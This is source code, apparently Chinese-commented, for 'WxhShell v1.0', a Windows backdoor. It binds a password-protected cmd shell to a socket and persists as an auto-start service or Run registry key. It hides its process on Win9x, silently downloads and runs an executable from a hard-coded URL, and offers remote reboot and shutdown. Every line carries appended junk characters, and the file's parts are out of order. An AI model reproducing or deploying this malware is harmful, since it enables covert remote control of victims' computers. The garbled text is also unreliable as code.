    ExitThread(0); 'E,Bl]8C5  
    } 6\9 9WQ  
    break; >AW=N  
    } !&Q3>8l  
  // 获取shell gaJIc^O  
  case 's': { RKP->@Gs  
    CmdShell(wsh); %.R_[.W  
    closesocket(wsh); w{"GA ~=  
    ExitThread(0); Tl3{)(ezx  
    break; HH|&$C|64  
  } otO6<%/m  
  // 退出 ^eEj 5Rh  
  case 'x': { |8"~ou:.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,&HZvU&  
    CloseIt(wsh); ?s5zTT0U>$  
    break; u-h3xj  
    } %zyMWC  
  // 离开 3HA$k[%7P  
  case 'q': { p\8cl/~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6Bp{FOj:Ss  
    closesocket(wsh); zY|]bP[NEH  
    WSACleanup(); G1~|$X@@  
    exit(1); !DCJ2h%E[_  
    break; b~b(Ed{r  
        } q9oF8&O,  
  } dTaR 8i  
  } y+?tUSPP  
=3oz74O[  
  // 提示信息 Em@h5V  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fT8Id\6js  
} vd /_`l.D  
  } KF'H|)!K  
g#_?Vxt  
  return; =tH+e7it  
} `z)!!y  
0m`7|80#P  
// shell模块句柄 Bw*z4qb{yH  
int CmdShell(SOCKET sock) 2a=WT`xf ?  
{ pLzsL>6h  
STARTUPINFO si; &F'v_9  
ZeroMemory(&si,sizeof(si)); ,0&lag  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R C (v#G  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 31>k3IP&  
PROCESS_INFORMATION ProcessInfo; -t6d`p;dR  
char cmdline[]="cmd"; MmWJYF=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yekIw  
  return 0; d<7J)zUm3  
} Lf0Hz")  
% C 3jxt  
// 自身启动模式 6eDIS|/  
int StartFromService(void) j|`{ 1`'  
{ Xp} vJl   
typedef struct z{#F9'\&  
{ M2@q{RiS  
  DWORD ExitStatus; dWqFP  
  DWORD PebBaseAddress; m]-8?B1`Y  
  DWORD AffinityMask; 0dcXgP  
  DWORD BasePriority; <Z m ,q}  
  ULONG UniqueProcessId; '-i tn  
  ULONG InheritedFromUniqueProcessId; z)VIbEy  
}   PROCESS_BASIC_INFORMATION; ==XP}w)m  
mzT} C&hfP  
PROCNTQSIP NtQueryInformationProcess; +cV!=gDT  
|Lhz^5/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; q5vs;,_ |  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xu:m~8%  
#Y5I_:k  
  HANDLE             hProcess; Eq8OAuN  
  PROCESS_BASIC_INFORMATION pbi; /hX"O ?^  
bf74 "  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %C3cdy_c  
  if(NULL == hInst ) return 0;  ,g,jY]o  
pK8nzGQl7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @l(Y6m|v\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7&At _l_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); M)J*Df0@  
dJLJh*=AG  
  if (!NtQueryInformationProcess) return 0; `U g.c  
pt4xUu{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); EORRSP,$2  
  if(!hProcess) return 0; uWWv`bI>x  
0wkLM-lN  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 20moX7L  
 wi9|  
  CloseHandle(hProcess); ya_'Oz!C  
x>J3tp$2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); d_,tXV"z&  
if(hProcess==NULL) return 0; \a6)t%u  
(Z$6J Nkz  
HMODULE hMod; u.[JYZ  
char procName[255]; iTt=aQjd  
unsigned long cbNeeded; jkP70Is  
w3w*"M  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hX_p5a1t  
Dgm%Ng  
  CloseHandle(hProcess); A C^[3  
68c;Vb  
if(strstr(procName,"services")) return 1; // 以服务启动 d*>k ]X@G  
cx,A.Lc  
  return 0; // 注册表启动 Uu X"AFy~\  
} ]= NYvv>H  
LgNNtZ&F  
// 主模块 f`,Hr?H  
int StartWxhshell(LPSTR lpCmdLine) |+:ZO5FaO  
{ lkZC?--H  
  SOCKET wsl; 5dp#\J@  
BOOL val=TRUE; +2}(]J=-  
  int port=0; ? 03Zy3 /  
  struct sockaddr_in door; V 3]p3  
J\so8uT:  
  if(wscfg.ws_autoins) Install(); ]2%P``Yj  
w)eQ'6Vu  
port=atoi(lpCmdLine); I|IlFu?O=  
LQ@|M.$ A  
if(port<=0) port=wscfg.ws_port; ^R7zLHU;  
k6-n.Rl01  
  WSADATA data; 0o|,& K  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =+h!JgY/L  
E@jl: -*E  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,;P`Mf'YC  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); I A`8ie+  
  door.sin_family = AF_INET; ~fp+@j-A  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _O;~ }N4u  
  door.sin_port = htons(port); (MoTG^MrBY  
OPY/XKyY,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A]?O& m |  
closesocket(wsl); m=.7f9  
return 1; ,ok J eZ  
} C9g~l}=$&  
f5b`gvCY,#  
  if(listen(wsl,2) == INVALID_SOCKET) { 0*;9CH=BE  
closesocket(wsl); E9d i  
return 1; KHus/M&0  
} Eb[H3v48,  
  Wxhshell(wsl); <SM&VOiaOz  
  WSACleanup(); sR>;h /  
O?,i?  
return 0; FJ%R3N\  
Vc52s+7=8  
} ,c7u  
gqdB!l4  
// 以NT服务方式启动 Q xF8=p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @oqi@&L'C  
{ v6P~XK}G  
DWORD   status = 0; ckjVa\  
  DWORD   specificError = 0xfffffff; CAFE} |  
v8vh~^X%P  
  serviceStatus.dwServiceType     = SERVICE_WIN32; g. Caapy  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; FX|lhwmc(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; h [|zs>p  
  serviceStatus.dwWin32ExitCode     = 0; [OoH5dD  
  serviceStatus.dwServiceSpecificExitCode = 0; ,Z*3,/a  
  serviceStatus.dwCheckPoint       = 0; WQLHjGehe  
  serviceStatus.dwWaitHint       = 0; u};]LX\E  
p]V-<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %AEK[W+0  
  if (hServiceStatusHandle==0) return; ;vv!qBl|@  
n#^?X  
status = GetLastError(); L >Ez-  
  if (status!=NO_ERROR) itC *Z6^  
{ 22Y!u00D  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $XQ;~i   
    serviceStatus.dwCheckPoint       = 0; a._^E/EV  
    serviceStatus.dwWaitHint       = 0; w-'D*dOi  
    serviceStatus.dwWin32ExitCode     = status; 8`inRfpY  
    serviceStatus.dwServiceSpecificExitCode = specificError; D#/%*|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -M1~iOb  
    return; .i3lG( YG  
  } n<%=~1iY+  
RlslF9f  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; C{`^9J-  
  serviceStatus.dwCheckPoint       = 0; yYG3/Z3u5  
  serviceStatus.dwWaitHint       = 0; p-i.ITRS  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Q/3tg  
} fNAo$O4cm  
 $||ns@F+  
// 处理NT服务事件,比如:启动、停止 N[a ljC-R  
VOID WINAPI NTServiceHandler(DWORD fdwControl) BS-:dyBw  
{ X@ bn??  
switch(fdwControl) '!+ P{  
{ +(=0CA0GE  
case SERVICE_CONTROL_STOP: *w'q  
  serviceStatus.dwWin32ExitCode = 0; -TK|Y"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; t?]\M&i&  
  serviceStatus.dwCheckPoint   = 0; h V|v6 _  
  serviceStatus.dwWaitHint     = 0; "}'8`k+d  
  { KdOh'OrT9.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k9^+9P^L  
  } ,Lt~u_lve  
  return; ( Lok  
case SERVICE_CONTROL_PAUSE: fCt^FU  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; YM #  
  break; >-_:*/66!  
case SERVICE_CONTROL_CONTINUE: Sc;iAi (  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; F,p`- m[q  
  break; `G=ztL!gq  
case SERVICE_CONTROL_INTERROGATE: sorSyuGr  
  break; 0On? {Bw  
}; @9}),hl`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  YBYBOH  
} 5u2{n rc  
/<3;0~#){  
// 标准应用程序主函数 o }9M`[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0t#NMW  
{ ?1GY%-  
7ei>L]gm%  
// 获取操作系统版本 M!eoe5  
OsIsNt=GetOsVer(); G0_&gx`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0K=Qf69Y  
=y)p>3p}&  
  // 从命令行安装 Vk MinE  
  if(strpbrk(lpCmdLine,"iI")) Install(); Zu\p;!e  
89LpklD  
  // 下载执行文件 L*zbike  
if(wscfg.ws_downexe) { u] F7 0C^~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hnp`s%e,  
  WinExec(wscfg.ws_filenam,SW_HIDE); rPRrx-A  
} >;&Gz-lm  
Sg-g^ dIN1  
if(!OsIsNt) { =?= )s  
// 如果时win9x,隐藏进程并且设置为注册表启动 -Qg 2qN2{  
HideProc(); ./5jx2V  
StartWxhshell(lpCmdLine); BX@pt;$ek7  
} kP)YgkE  
else /h/6&R0l  
  if(StartFromService()) g d z  
  // 以服务方式启动  DZ^=*.  
  StartServiceCtrlDispatcher(DispatchTable); Vo #:CB=8  
else ;knd7SC   
  // 普通方式启动 %0vTA_W  
  StartWxhshell(lpCmdLine); |r5e{  
A:kkCG!~Nf  
return 0; \M7I&~V  
} CXTt(-FT  
Yx6hA#7I  
+AB6lv  
yc*<:(p  
=========================================== U);OR  
>[a FOA  
5d+<EF+N  
{] O`g G  
Hz E1r+3Q@  
]$3+[9x'  
" w TlGJ$D0  
Yrpxy.1=F5  
#include <stdio.h> WM/#.  
#include <string.h> z/S,+!|z  
#include <windows.h> X6xx2v%D  
#include <winsock2.h> +O'vj  
#include <winsvc.h> _().t5<  
#include <urlmon.h> k_!+V`Ro#  
i|%5  
#pragma comment (lib, "Ws2_32.lib") Y&s2C%jT  
#pragma comment (lib, "urlmon.lib") yIOLs}!SF  
9mQ#L<Ps  
#define MAX_USER   100 // 最大客户端连接数 Te;gVG*  
#define BUF_SOCK   200 // sock buffer ,>u=gA&}  
#define KEY_BUFF   255 // 输入 buffer eZNitGaU  
;W0]66&  
#define REBOOT     0   // 重启 W}h|K:-S  
#define SHUTDOWN   1   // 关机 _9NVE|c;  
E:FO_R(Xq  
#define DEF_PORT   5000 // 监听端口 =2,0Wo]$  
]ZTcOf  
#define REG_LEN     16   // 注册表键长度 hq?jdNy :  
#define SVC_LEN     80   // NT服务名长度 Noh?^@T`Ov  
*zy'#`>  
// 从dll定义API k(vPg,X>m  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o'Pu'y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); VFO \4:.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Y X*0?S  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); h>wcT VF  
<qhBc:kc  
// wxhshell配置信息 }E;F)=E  
struct WSCFG { r~8;kcu7  
  int ws_port;         // 监听端口 Qw?+!-7TN  
  char ws_passstr[REG_LEN]; // 口令 #dc1pfL!y{  
  int ws_autoins;       // 安装标记, 1=yes 0=no %9o+zg? RJ  
  char ws_regname[REG_LEN]; // 注册表键名 .+E#q&=  
  char ws_svcname[REG_LEN]; // 服务名 . uR M{Bs  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 nxaT.uFd1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (ZP87Gz  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 H9` f0(H  
int ws_downexe;       // 下载执行标记, 1=yes 0=no G#[* |+f8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" pm US F #u  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :eOR-}p'  
+l?; )  
}; ^bUxLa[.  
#Qbl=o4  
// default Wxhshell configuration jtKn3m7 +p  
struct WSCFG wscfg={DEF_PORT, RY=1H  
    "xuhuanlingzhe", aMK~1]Cx  
    1, ;/LD)$_  
    "Wxhshell", ?znSx}t  
    "Wxhshell", :\yc*OtX  
            "WxhShell Service", 7@~tVxB;  
    "Wrsky Windows CmdShell Service", ](K0Fwo`;"  
    "Please Input Your Password: ", #Hu~}zy  
  1, Vq ^]s $'  
  "http://www.wrsky.com/wxhshell.exe", 'v&}(  
  "Wxhshell.exe" ~xyw>m+o.  
    }; $-vo}k%M  
eW8[I'v_&  
// 消息定义模块 K`k'}(vj  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Bct"X#W|&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Zk? =  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; i0pU!`0  
char *msg_ws_ext="\n\rExit."; wW`}VKu  
char *msg_ws_end="\n\rQuit."; Vhg1/EgUr  
char *msg_ws_boot="\n\rReboot..."; Kt/)pc  
char *msg_ws_poff="\n\rShutdown..."; zAScRg$:?  
char *msg_ws_down="\n\rSave to "; qpqokK  
YQ(Po!NI\'  
char *msg_ws_err="\n\rErr!"; Xl%0/ o  
char *msg_ws_ok="\n\rOK!"; I&]G   
<@, $hso7:  
char ExeFile[MAX_PATH]; MZv\ C  
int nUser = 0; &ak6zM  
HANDLE handles[MAX_USER]; rwqv V ^  
int OsIsNt; }zMf7<C  
8_we: 9A  
SERVICE_STATUS       serviceStatus; \pY^^ l*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $L}aQlA1JM  
p25Fn`}H  
// 函数声明 l]#!+@  
int Install(void); &%F@O<:  
int Uninstall(void); g+[kde;(^  
int DownloadFile(char *sURL, SOCKET wsh); `l]j#qshTm  
int Boot(int flag); 'ks{D(`  
void HideProc(void); &__DJ''+  
int GetOsVer(void); P-Su5F  
int Wxhshell(SOCKET wsl); Z(Q2Ue;}&  
void TalkWithClient(void *cs); K"{HseN{  
int CmdShell(SOCKET sock); XutF"9u  
int StartFromService(void); xtfRrX^  
int StartWxhshell(LPSTR lpCmdLine); \54}T 4R  
?nFO:N<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8X7{vN_3K  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3 <SqoJSp  
@}LZ! y  
// 数据结构和表定义 [*Ju3  
SERVICE_TABLE_ENTRY DispatchTable[] = [ygF0-3ND  
{  <!'M} s  
{wscfg.ws_svcname, NTServiceMain}, `T WN^0!]  
{NULL, NULL} 79 Bg]~}Z  
}; 1]OSWCEm*[  
)pgrl  
// 自我安装 /Jlv"R 1,  
int Install(void) 4tc:.  
{ 0Xl%uF+w  
  char svExeFile[MAX_PATH]; Omyt2`q  
  HKEY key; :pC;`iQ  
  strcpy(svExeFile,ExeFile); :BZ0 7`9  
!,&yyx.  
// 如果是win9x系统,修改注册表设为自启动 I4e+$bU3  
if(!OsIsNt) { :Ml7G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <$Yi]ty  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yfe'>]7  
  RegCloseKey(key); xAdq+$><  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { le .'pP@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Wd 2sh  
  RegCloseKey(key); t9 F=^)s  
  return 0; <[Oo*:A!7  
    } $& {IKP)u  
  } $RO$}!  
} 2C "=!'  
else { Oh!(@  
~brFo2  
// 如果是NT以上系统,安装为系统服务 ]H[8Z|i""  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); CjZ2z%||=  
if (schSCManager!=0) .{so  
{ C7qYiSv  
  SC_HANDLE schService = CreateService W |UtY`1  
  ( < oI8-f  
  schSCManager, b:MG@Hxc  
  wscfg.ws_svcname, ^%[F8\}XPJ  
  wscfg.ws_svcdisp, o$J6 ~dn  
  SERVICE_ALL_ACCESS, wGLF%;rRe4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =uV,bG5V1  
  SERVICE_AUTO_START, !1 :@8q  
  SERVICE_ERROR_NORMAL, k W-81  
  svExeFile, `a4 $lyZ  
  NULL, %_f;G+fK\p  
  NULL, ?0vNEz[  
  NULL, <^><3U`  
  NULL, =3'(A14C=  
  NULL aG27%(@  
  ); ]0 ~qi@  
  if (schService!=0) b|?;h21rG  
  { a6nlt? 1?D  
  CloseServiceHandle(schService); }Ik1bkK  
  CloseServiceHandle(schSCManager); y-+G wa3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =*MR(b>  
  strcat(svExeFile,wscfg.ws_svcname); ZK dh%8C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8z T0_vw  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); '}{?AUDx  
  RegCloseKey(key); =ApY9`  
  return 0; ~j& ?/{7I  
    } 2Rptxb_@  
  } 6 =>G#  
  CloseServiceHandle(schSCManager); ^.HWkS`e  
} -2*>`,Uu  
} %z)EO9vtr  
uxDLDA$;  
return 1; p\D >z("  
} F(4yS2h(  
ukihx?5  
// 自我卸载 80&D""  
int Uninstall(void) 0dt"ZSm  
{ !J^tg2M8:  
  HKEY key; kL;t8{n  
 W"qL-KW  
if(!OsIsNt) { A ,<@m2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yazZw}};  
  RegDeleteValue(key,wscfg.ws_regname); Z_itu73I  
  RegCloseKey(key); x0G>ktWq<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hqW$k w  
  RegDeleteValue(key,wscfg.ws_regname); `:5,e/5,  
  RegCloseKey(key); l l:jsm  
  return 0; E .;io*0  
  } SIv[9G6  
} [%~NM/xu<  
} >hb- 5xC  
else { eH[y[~r  
JtmQzr0>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); P"Rk?lL  
if (schSCManager!=0) +]L)>$6  
{ RKk"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); { _X#fq0}  
  if (schService!=0) X[{\ 3Av  
  { Sf/W9Jw  
  if(DeleteService(schService)!=0) { sZm^&h;  
  CloseServiceHandle(schService); ?h&l tD  
  CloseServiceHandle(schSCManager); V8v,jS$l4  
  return 0; FB!z#Eim  
  } V=9Bto00  
  CloseServiceHandle(schService); /Mx CvEE  
  } y`+<X{V5L  
  CloseServiceHandle(schSCManager); z1qUz7  
} _w%s(dzk  
} Y-7.Vjt^  
1eF@_Y^a!  
return 1; d!!3"{'  
} ,s8&#1rJ-  
w6v1 q:20  
// 从指定url下载文件 QvNi8TB  
int DownloadFile(char *sURL, SOCKET wsh) ?a8nz, zb  
{ i*b4uHna  
  HRESULT hr; dcR6KG8  
char seps[]= "/"; T/ Ez*iQW  
char *token; dr>]+H=3E  
char *file; $"(3MnR  
char myURL[MAX_PATH]; K1 6s)S'  
char myFILE[MAX_PATH]; $1=v.'Y  
h!~|6nj  
strcpy(myURL,sURL); 2nYiG)tg  
  token=strtok(myURL,seps); YFAnlqC  
  while(token!=NULL) @Zh8 QI+  
  { 7TR' zW2W  
    file=token; ?({PcF/  
  token=strtok(NULL,seps); R+x%r&L5F  
  } 0-lPhnrp  
=b|)Wnt2f  
GetCurrentDirectory(MAX_PATH,myFILE); a6OrE*x:D  
strcat(myFILE, "\\"); s+Cl  
strcat(myFILE, file); =7H.F:BBG  
  send(wsh,myFILE,strlen(myFILE),0); ( / G)"]  
send(wsh,"...",3,0); ~c9vdK  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7Im}~3NJG  
  if(hr==S_OK) ByC1I.B`  
return 0; ]Oig ..LJ  
else l6yB_ M  
return 1; 8rnb  
o&*1U"6D  
} 0<6rU  
hVROzGZk  
// 系统电源模块 LAOdH/*:  
int Boot(int flag) Cv gPIrl  
{ !tm|A`<g#<  
  HANDLE hToken; *#3voJjV(  
  TOKEN_PRIVILEGES tkp; mNGb} lR  
zlC^  
  if(OsIsNt) { *V<2\-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); PI<s5bns {  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); oDiv9 jm  
    tkp.PrivilegeCount = 1; ,% DAh  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \(7#N<-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); c3 ]^f6)?  
if(flag==REBOOT) { hI#M {cz  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) xg%]\#  
  return 0; :usBeho  
} WiCM,wDi  
else { ?g1 .-'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) N`GwL aF  
  return 0; s*U&[7P  
} d:WhP_rK9  
  } qk{UO <  
  else { H;8]GE2n  
if(flag==REBOOT) { +?g,&NE  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4Tw1gas.  
  return 0; ?d`+vHK]>  
} L |G k}n  
else { 5|={1Lp24g  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (ZR"O8  
  return 0; $GK m`I"  
} FQ ^^6Rl  
} Qvg"5_26v  
Uwil*Jh  
return 1; >~8Df61o`  
} 31\^9w__8  
QX3![;0F  
// win9x进程隐藏模块 gQt@xNO  
void HideProc(void) ~ab_+%  
{ 8WQ%rN={8  
u1Yp5jp^K  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); I,uu>-  
  if ( hKernel != NULL ) UR=s{nFd  
  { ;5_S  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); uzA'D~)P  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *F&&rsb  
    FreeLibrary(hKernel); ?pY!sG  
  } p&27|1pZm  
zUu>kJZ  
return; pU'sADC  
} ^( VB5p  
 aj B  
// 获取操作系统版本 ',%&DA2  
int GetOsVer(void) $yK!Q)e:  
{ p~co!d.q/}  
  OSVERSIONINFO winfo; d9( Sj?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4>#^Pk?Ra  
  GetVersionEx(&winfo); ;a)\5Uy  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @z q{#7%z  
  return 1; 8{<cqYCR  
  else x)5v8kgf  
  return 0; 3]'z8i({7Y  
} /RmCMT  
{G&g+9c&  
// 客户端句柄模块 dEL"(e#0s4  
int Wxhshell(SOCKET wsl) .NC}TFN|  
{ %lmRe(M  
  SOCKET wsh; wpI4P:  
  struct sockaddr_in client; 7rg[5hP T  
  DWORD myID; g3rFJc  
3dphS ^X  
  while(nUser<MAX_USER) 7T Bo*-!  
{ cyE2=  
  int nSize=sizeof(client); C^tC} n1D(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _4]dPk#^  
  if(wsh==INVALID_SOCKET) return 1; ]~ M -KT  
L?(rv.lb  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Bb `^,?m  
if(handles[nUser]==0) rI789 q  
  closesocket(wsh); [DEw:%  
else mm`3-F|  
  nUser++; Tq8r SZi  
  } N9<eU!4>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); S7Fxb+{6D  
&3J#"9 _S  
  return 0; {r8CzJ'f  
} ]f~YeOB@  
x"80c(i  
// 关闭 socket |i8dI)b  
void CloseIt(SOCKET wsh) \&90$>h  
{ 'wt|buu-H  
closesocket(wsh); [9^e u>)A  
nUser--; jwox?]f+  
ExitThread(0); , &SJ?XAs  
} G#v7-&Yl6  
d`/{0:F  
// 客户端请求句柄 9@B+$~:}7  
void TalkWithClient(void *cs) 2[hl^f^%,  
{ OpE+e4~IF  
(?[cDw/{J:  
  SOCKET wsh=(SOCKET)cs; '3->G/Pu  
  char pwd[SVC_LEN]; N~d]}J8}gx  
  char cmd[KEY_BUFF]; P|U>(9;P,  
char chr[1]; U?{j  
int i,j; O=/Tx2i;  
)Cl&"bX  
  while (nUser < MAX_USER) { Vba}RF[b  
W~FA9Jd'Z  
if(wscfg.ws_passstr) { ](D [T  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Hf iM]^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |O?Aj1g[c?  
  //ZeroMemory(pwd,KEY_BUFF);  &i!]  
      i=0; )f rtvN7  
  while(i<SVC_LEN) { A9gl|II  
iz(+(M  
  // 设置超时 '3VrHL@@g  
  fd_set FdRead; 9E+lriyY  
  struct timeval TimeOut; uzsN#'7=  
  FD_ZERO(&FdRead); ;4IP7$3G  
  FD_SET(wsh,&FdRead); wSMgBRV#^  
  TimeOut.tv_sec=8; "/"k50%  
  TimeOut.tv_usec=0; O 7sn>uO  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); < lrw7T  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); RT>3\qhZ  
!@X#{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o_n.,=/cZ  
  pwd=chr[0]; yw0uF  
  if(chr[0]==0xd || chr[0]==0xa) { ?`>yl4  
  pwd=0; dp"w=~53  
  break; Me>'QVr  
  } DI7trR`  
  i++; 9P$'ON'"  
    } e1-=|!U7#  
y=Hl~ev`9  
  // 如果是非法用户,关闭 socket ($TxVFNT  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z6qC6Ck|  
} &.,OvVAo  
W8^gPW*c5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g:g>;" B O  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I"1\R8 R  
q.7CPm+  
while(1) { ^ytd~iK8  
$j/F7.S  
  ZeroMemory(cmd,KEY_BUFF); :EjIV]e  
U DG _APf  
      // 自动支持客户端 telnet标准   I}=}S"v  
  j=0; [% jg;m  
  while(j<KEY_BUFF) { ZU|nKt<GK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i=4bY[y  
  cmd[j]=chr[0]; QQ9Q[c  
  if(chr[0]==0xa || chr[0]==0xd) { rSk $]E]Z  
  cmd[j]=0; rdRX  
  break; x1~`Z}LX0  
  } r/e&}!  
  j++; DiX4wmQ  
    } $4"OD"Z Cq  
.H&;pOf  
  // 下载文件 u@HP@>V  
  if(strstr(cmd,"http://")) { vIJdl2(^E  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -*EJj>x  
  if(DownloadFile(cmd,wsh)) 1\p[mN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); zSO[f  
  else ZS-9|EA<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |&JL6hN  
  } BzZy s  
  else { 0-9&d(L1g  
s$en5)  
    switch(cmd[0]) { g`j%jQuY  
  7\xa_nrI  
  // 帮助 $I9zJ"*  
  case '?': { :PLsA3[}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); oOlI*/OMb  
